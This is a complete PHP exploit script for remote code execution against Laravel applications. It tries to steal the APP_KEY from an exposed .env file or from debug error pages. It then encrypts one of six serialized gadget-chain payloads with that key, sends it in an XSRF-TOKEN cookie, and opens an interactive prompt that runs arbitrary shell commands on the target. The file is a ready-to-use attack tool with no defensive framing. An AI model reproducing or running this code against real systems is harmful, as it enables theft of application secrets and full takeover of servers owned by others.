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laravel-rce.php
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#!/usr/bin/env php
<?php
/**
* @Con7ext | Laravel Unserialize
*/
error_reporting(0);
class Func_
{
public function Serialize($key, $value)
{
$cipher = 'AES-256-CBC'; // or 'AES-128-CBC'
$iv = random_bytes(openssl_cipher_iv_length($cipher)); // instead of rolling a dice ;)
$value = \openssl_encrypt(base64_decode($value) , $cipher, base64_decode($key) , 0, $iv);
if ($value === false)
{
exit("Could not encrypt the data.");
}
$iv = base64_encode($iv);
$mac = hash_hmac('sha256', $iv . $value, base64_decode($key));
$json = json_encode(compact('iv', 'value', 'mac'));
if (json_last_error() !== JSON_ERROR_NONE)
{
echo "Could not json encode data." . PHP_EOL;
exit();
}
//$encodedPayload = urlencode(base64_encode($json));
$encodedPayload = base64_encode($json);
return $encodedPayload;
}
public function GeneratePayload($command, $func = "system", $method = 1)
{
$payload = null;
$p = "<?php $command exit; ?>";
switch ($method)
{
case 1:
$payload = 'O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"' . "\x00" . '*' . "\x00" . 'events";O:15:"Faker\Generator":1:{s:13:"' . "\x00" . '*' . "\x00" . 'formatters";a:1:{s:8:"dispatch";s:' . strlen($func) . ':"' . $func . '";}}s:8:"' . "\x00" . '*' . "\x00" . 'event";s:' . strlen($command) . ':"' . $command . '";}';
break;
case 2:
$payload = 'O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"' . "\x00" . '*' . "\x00" . 'events";O:28:"Illuminate\Events\Dispatcher":1:{s:12:"' . "\x00" . '*' . "\x00" . 'listeners";a:1:{s:' . strlen($command) . ':"' . $command . '";a:1:{i:0;s:' . strlen($func) . ':"' . $func . '";}}}s:8:"' . "\x00" . '*' . "\x00" . 'event";s:' . strlen($command) . ':"' . $command . '";}';
break;
case 3:
$payload = 'O:40:"Illuminate\Broadcasting\PendingBroadcast":1:{s:9:"' . "\x00" . '*' . "\x00" . 'events";O:39:"Illuminate\Notifications\ChannelManager":3:{s:6:"' . "\x00" . '*' . "\x00" . 'app";s:' . strlen($command) . ':"' . $command . '";s:17:"' . "\x00" . '*' . "\x00" . 'defaultChannel";s:1:"x";s:17:"' . "\x00" . '*' . "\x00" . 'customCreators";a:1:{s:1:"x";s:' .strlen($func) . ':"' . $func . '";}}}';
break;
case 4:
$payload = 'O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"' . "\x00" . '*' . "\x00" . 'events";O:31:"Illuminate\Validation\Validator":1:{s:10:"extensions";a:1:{s:0:"";s:' . strlen($func) . ':"' . $func . '";}}s:8:"' . "\x00" . '*' . "\x00" . 'event";s:' . strlen($command) . ':"' . $command . '";}';
break;
case 5:
$payload = 'O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"' . "\x00" . '*' . "\x00" . 'events";O:25:"Illuminate\Bus\Dispatcher":1:{s:16:"' . "\x00" . '*' . "\x00" . 'queueResolver";a:2:{i:0;O:25:"Mockery\Loader\EvalLoader":0:{}i:1;s:4:"load";}}s:8:"' . "\x00" . '*' . "\x00" . 'event";O:38:"Illuminate\Broadcasting\BroadcastEvent":1:{s:10:"connection";O:32:"Mockery\Generator\MockDefinition":2:{s:9:"' . "\x00" . '*' . "\x00" . 'config";O:35:"Mockery\Generator\MockConfiguration":1:{s:7:"' . "\x00" . '*' . "\x00" . 'name";s:7:"abcdefg";}s:7:"' . "\x00" . '*' . "\x00" . 'code";s:'. strlen($p) . ':"' . $p . '";}}}';
break;
case 6:
$payload = 'O:29:"Illuminate\Support\MessageBag":2:{s:11:"' . "\x00" . '*' . "\x00" . 'messages";a:0:{}s:9:"' . "\x00" . '*' . "\x00" . 'format";O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"' . "\x00" . '*' . "\x00" . 'events";O:25:"Illuminate\Bus\Dispatcher":1:{s:16:"' . "\x00" . '*' . "\x00" . 'queueResolver";a:2:{i:0;O:25:"Mockery\Loader\EvalLoader":0:{}i:1;s:4:"load";}}s:8:"' . "\x00" . '*' . "\x00" . 'event";O:38:"Illuminate\Broadcasting\BroadcastEvent":1:{s:10:"connection";O:32:"Mockery\Generator\MockDefinition":2:{s:9:"' . "\x00" . '*' . "\x00" . 'config";O:35:"Mockery\Generator\MockConfiguration":1:{s:7:"' . "\x00" . '*' . "\x00" . 'name";s:7:"abcdefg";}s:7:"' . "\x00" . '*' . "\x00" . 'code";s:' . strlen($p) . ':"' . $p . '";}}}}';
break;
}
return base64_encode($payload);
}
}
class Requester
{
public function Requests($url, $postdata = null, $headers = null, $follow = true)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_HEADER, 1);
if (!empty($headers) && $headers != null)
{
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
}
if (!empty($postdata) && $postdata != null)
{
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata);
}
if ($follow)
{
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
}
$data = curl_exec($ch);
$header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
$status_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$head = substr($data, 0, $header_size);
$body = substr($data, $header_size);
return json_decode(json_encode(array(
'status_code' => $status_code,
'headers' => $this->HeadersToArray($head) ,
'body' => $body
)));
}
public function HeadersToArray($str)
{
$str = explode("\r\n", $str);
$str = array_splice($str, 0, count($str) - 1);
$output = [];
foreach ($str as $item)
{
if ($item === '' || empty($item)) continue;
$index = stripos($item, ": ");
$key = substr($item, 0, $index);
$key = strtolower(str_replace('-', '_', $key));
$value = substr($item, $index + 2);
if (@$output[$key])
{
if (strtolower($key) === 'set_cookie')
{
$output[$key] = $output[$key] . "; " . $value;
}
else
{
$output[$key] = $output[$key];
}
}
else
{
$output[$key] = $value;
}
}
return $output;
}
}
class Exploit extends Requester
{
public $url;
public $vuln;
public $app_key;
public function __construct($url)
{
$this->url = $url;
$this->vuln = null;
$this->app_key = null;
}
public function getAppKeyEnv()
{
$req = parent::Requests($this->url . "/.env", null, null, $follow = false);
if (preg_match('/APP_KEY/', $req->body))
{
preg_match_all('/APP_KEY=([a-zA-Z0-9:;\/\\=$%^&*()-+_!@#]+)/', $req->body, $matches, PREG_SET_ORDER, 0);
$this->app_key = $matches[0][1];
}
}
public function getAppKey()
{
$req = parent::Requests($this->url, 'a=a', null, false);
if (preg_match('/<td>APP_KEY<\/td>/', $req->body))
{
preg_match_all('/<td>APP_KEY<\/td>\s+<td><pre.*>(.*?)<\/span>/', $req->body, $matches, PREG_SET_ORDER, 0);
$this->app_key = $matches[0][1];
}
else
{
$this->getAppKeyEnv($this->url);
}
}
}
function Help() {
echo "
url=URL // Target Required
Optionals:
key=APP_KEY // Setting app key if u have
function=system // Function ex : system, passthru
method=1 // method 1 - 4 Required function parameter, 5 - 6 ( Eval mode )
". PHP_EOL;
}
parse_str(implode("&", array_slice($argv, 1)), $_GET);
if (!$_GET['url']) return Help();
$urls = $_GET['url'];
$Req = new Requester();
$wibu = new Exploit($urls);
$Func = new Func_();
$function = 'system';
$method = 1;
if ($_GET['key']) {
$wibu->app_key = $_GET['key'];
} else {
$wibu->getAppKey();
}
if ($_GET['function']) {
$function = $_GET['function'];
}
if ($_GET['method']) {
$method = $_GET['method'];
}
if ($wibu->app_key != null)
{
while (true)
{
$cmd = readline('Command ~> ');
$app = str_replace('base64:', '', $wibu->app_key);
$command = $Func->GeneratePayload($cmd, $function, $method);
$serialize = $Func->Serialize($app, $command);
$header = array(
'Cookie: XSRF-TOKEN=' . $serialize
);
$bre = $Req->Requests($urls,null, $header, false);
$res = explode('</html>', $bre->body)[1];
echo ($res) ? $res . PHP_EOL : 'Empty Response' . PHP_EOL;
}
}
else
{
echo $urls . " ===> Cannot get APP_KEY!" . PHP_EOL;
}